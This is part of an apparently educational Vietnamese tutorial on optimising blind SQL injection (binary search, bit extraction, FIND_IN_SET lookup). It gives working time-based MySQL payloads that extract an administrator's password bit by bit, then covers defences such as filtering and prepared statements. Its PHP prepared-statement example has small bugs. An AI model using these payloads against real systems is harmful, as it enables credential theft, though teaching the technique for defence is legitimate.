+4

SQL injection vulnerabilities - Lỗ hổng SQL injection (Phần 10)

IV. Tối ưu hóa Blind SQL injection

Trong các phương pháp khai thác lỗ hổng Blind SQL injection đã xét ở trên, chúng ta cần kiểm tra rất nhiều trường hợp (hầu như là cần thử qua hết tất cả trường hợp về ký tự) để xác định chính xác từng ký tự của dữ liệu cần truy xuất, làm mất rất nhiều thời gian cũng như lãng phí tài nguyên. Hơn nữa, việc gửi liên tục nhiều request cùng lúc tới hệ thống có thể khiến cơ chế phòng vệ ngăn chặn chúng ta tiếp tục truy cập. Bởi vậy, chúng ta nghĩ đến và cần giải quyết bài toán tối ưu hóa tấn công Blind SQL injection. Các phương pháp chủ yếu giúp chúng ta giảm thiểu số lượng yêu cầu cần gửi.

1. Thuật toán tìm kiếm nhị phân (Binary search)

Ý tưởng thuật toán được cài đặt khá đơn giản như sau:

binarySearch(arr, x, low, high)
    repeat till low = high
        mid = (low + high)/2
            if (x == arr[mid])
                return mid
            else if (x > arr[mid]) // x is on the right side
                low = mid + 1
   
            else                  // x is on the left side
                high = mid - 1

image.png

Giả sử ký tự cần tìm kiếm là một ký tự thường từ a đến z. Thay vì kiểm tra lần lượt từ đầu, chúng ta kiểm tra ký tự đó "đứng trước" hoặc "đứng sau" ký tự n - là ký tự trung gian. Cứ tiếp tục lặp lại phương pháp kiểm tra này sẽ rút ngắn "độ phức tạp" kiểm tra từ O(n)O(n) xuống O(log2n)O(log_2n).

2. Kỹ thuật dịch bit (Bit Shifing)

Trong bảng mã ASCII có 9595 ký tự có thể in được nhận, mỗi ký tự này khi mã hóa sang hệ nhị phân bắt đầu từ 010 0000010\ 0000 đến 111 1110111\ 1110 - cần 77 bits thực hiện mã hóa. Ví dụ ký tự V:

Ký tự Hệ nhị phân
V 101 0110

Như vậy, thay vì xác định ký tự đó ở dạng đọc được (cụ thể ký tự a, b, c, ...), chúng ta có thể xác định toàn bộ 77 bit của ký tự này, do mỗi bit chỉ nhận giá trị 00 hoặc 11 nên mỗi bit chỉ cần kiểm tra đúng 11 lần, tổng cần 77 lần kiểm tra. Thậm chí các lần kiểm tra này có thể thực hiện độc lập! So với phương pháp tối ưu bằng tìm kiếm nhị phân đã tốt lên rất nhiều.

Ví dụ, chúng ta cần kiểm tra bit đầu tiên sau khi đổi sang dạng nhị phân của mật khẩu người dùng administrator trong bảng users, nếu là bit 00 thì trả về 00, ngược lại thực hiện lệnh SLEEP() delay trong 55 giây (tương ứng bit cần kiểm tra là bit 11), câu truy vấn như sau:

SELECT CASE WHEN (SELECT SUBSTR(BIN(ASCII(SUBSTR(password, 1, 1))),1,1) FROM users WHERE username = 'administrator') = '0' THEN 0 ELSE SLEEP(5) END;

Kết quả:

image.png

3. Kỹ thuật dịch bit nâng cao kết hợp bảng ký tự tự lập (Advanced Bit Shifing)

Kỹ thuật dịch bit được xét trong mục 22 luôn cần 77 lần kiểm tra (tương ứng với 77 bit). Thay vì kiếm tra 77 lần, chúng ta có thể tự lập một bảng gồm tập các ký tự cần kiểm tra cùng số thứ tự (dạng nhị phân), sau đó sử dụng ý tưởng từ hàm FIND_IN_SET() (trong MySQL): Liệt kê danh sách tất cả các ký tự cần kiểm tra, và tìm kiếm vị trí của ký tự cần truy xuất trong danh sách này, chuyển sang dạng nhị phân và kiểm tra từng ký tự như trong mục 22, cuối cùng là xác định số thứ tự này tương ứng với ký tự nào thông qua bảng đã lập. Xem xét cụ thể các bước:

Liệt kê danh sách tất cả các ký tự cần kiểm tra

Danh sách gồm các ký tự bắt đầu từ số thứ tự từ 3333 tới 126126 (hệ thập phân) trong bảng mã ASCII (không kể ký tự khoảng trống). Do chúng ta sẽ sử dụng hàm FIND_IN_SET() nên cần thay đổi cách hiển thị cho danh sách này. Tham khảo đoạn mã Python sau:

for i in range(33, 127):
    if chr(i) == "\'" or chr(i) == "\\":
        print("\\" + chr(i), end = ",")
    elif i == 126:
        print(chr(i))
    else:
        print(chr(i), end = ",")

Lưu ý chúng ta cần thêm ký tự \ trước hai ký tự '\. Kết quả thu được:

image.png

Truy vấn trả về vị trí ký tự cần tìm trong tập ký tự

Giả sử chúng ta cần truy xuất chuỗi mật khẩu của người dùng administrator, chúng ta có thể kết hợp hàm FIND_IN_SET() xây dựng câu truy vấn như sau:

SELECT FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~');

Ký tự đầu tiên của mật khẩu là t nên kết quả trả về ở vị trí 5353 như sau:

image.png

Chuyển số thứ tự sang nhị phân

Sử dụng hàm BIN() thực hiện chuyển số thứ tự này sang dạng nhị phân, câu truy vấn như sau:

SELECT BIN(FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~'));

Kết quả:

image.png

Xác định từng bit trong chuỗi nhị phân bằng dấu hiệu SLEEP

Do lỗ hổng ở dạng blind nên chúng ta cần tận dụng hàm SLEEP(), kết hợp thêm hàm IF() xây dựng câu truy vấn kiểm tra như sau:

SELECT IF(SUBSTR(BIN(FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D ,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~')),1,1) = '1',1,SLEEP(5));

Khi bit kiểm tra bằng 11 sẽ thực thi bình thường, nếu không, câu truy vấn thực hiện lệnh SLEEP khiến delay 55 giây. Trường hợp response bị delay 55 giây cũng không hoàn toàn nghĩa là bit đang kiểm tra nhận giá trị 00. Bởi vì, tùy theo trường hợp ký tự kiểm tra thì vị trí có thể lớn hoặc nhỏ, dẫn đến khi chuyển sang dạng nhị phân có thể không hoàn toàn sử dụng tới 77 bit (đây chính là ưu điểm của phương pháp này do không nhất thiết phải kiểm tra 77 lần). Chúng ta cần tìm cách xác định số bit của vị trí đó. Xây dựng câu truy vấn như sau:

SELECT IF(SUBSTR(BIN(FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D ,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~')),1,1) = '1',1,(SELECT IF(SUBSTR(BIN(FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D ,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~')),1,1) = '0',SLEEP(5),SLEEP(10))));

Khi trường hợp bit đang kiểm tra không phải là 11, thực hiện một lần kiểm tra nữa, nếu bit đó là 00 thực hiện hàm SLEEP() trong 55 giây, ngược lại (là ký tự "ảo" vượt quá số bit cần kiểm tra) thì thực hiện hàm SLEEP() trong 1010 giây.

Để câu truy vấn không bị "cồng kềnh" và phức tạp, chúng ta có thể tối ưu một chút như sau:

SELECT @z:=SUBSTR(BIN(FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D ,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~')),1,1); SELECT IF(@z != '', @z, SLEEP(5));

Câu truy vấn 11 gán giá trị vào biến @z, ở câu truy vấn hai sẽ thực hiện delay 55 giây nếu bit kiểm tra có thứ tự vượt quá số lượng bit trong dạng nhị nhị phân của ký tự đang kiểm tra.

V. Một số biện pháp ngăn chặn tấn công SQL injection

Lỗ hổng SQL injection xảy ra là bởi kẻ tấn công có thể "inject" đoạn mã bất kỳ thông qua các tham số input. Chúng ta có thể kể đến một số cách ngăn chặn như sau:

1. Lọc (filter) các ký tự và từ khóa nhạy cảm

Đây là một trong những cách ngăn chặn đơn giản nhất, các ký tự nhạy cảm có thể kể đến như: ', ", --, #, (, ) ... và các từ khóa UNION, SELECT, FROM, ...

Có thể sử dụng các hàm như replace_all() nhằm xóa các ký tự / từ khóa nhạy cảm, addslashes() thêm \ trước các ký tự ', ", \ và ký tự NULL, hoặc sử dụng biểu thức chính quy (Regular expression), ... Ví dụ đoạn code sau có nhiệm vụ phát hiện và ngăn chặn các từ khóa tiềm ẩn nguy cơ tấn công:

$id = $_POST['id'];
if (preg_match('/and|select|insert|update|[A-Za-z]|/d+:/i', $id)) {
	die('stop hacking!');
} else {
	echo 'pass';
}

Tuy nhiên cách này thường dễ dàng bị vượt qua (bypass) bởi kẻ tấn công có thể xây dựng payload tấn công khéo léo kết hợp các biện pháp encode, cắt ghép chuỗi, ...

2. Sử dụng Prepared Statements

Xét đoạn code php sau:

$query = "INSERT INTO users (username, password) VALUES (?, ?)";
$stmt = $mysqli -> prepare($query);
$stmt -> bind_param("sss", $username, $passowrd);
$username = "payload-1";
$password = "payload-2";
// execute the statment --> safe
$stmt -> execute();

Với Prepared Statements, các biến $username, $password truyền giá trị vào được đại diện bởi ký tự ? và hoàn toàn độc lập với câu truy vấn. Khi hệ thống thực thi câu truy vấn sẽ coi payload tấn công là một chuỗi và trực tiếp INSERT tất cả vào bảng users mà không làm thay đổi cấu trúc câu truy vấn $query.

3. Sử dụng các framework

Hiện nay các framework hầu hết đã có các biện pháp ngăn ngừa lỗ hổng SQL injection rất tốt. Khuyến khích nhà phát triển ưu tiên lựa chọn phát triển sản phẩm trên các frameword có tính bảo mật cao, có khả năng chống lại các cuộc tấn công SQL injection như: Entity Framework trong C#, Laravel trong PHP, ...

Tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí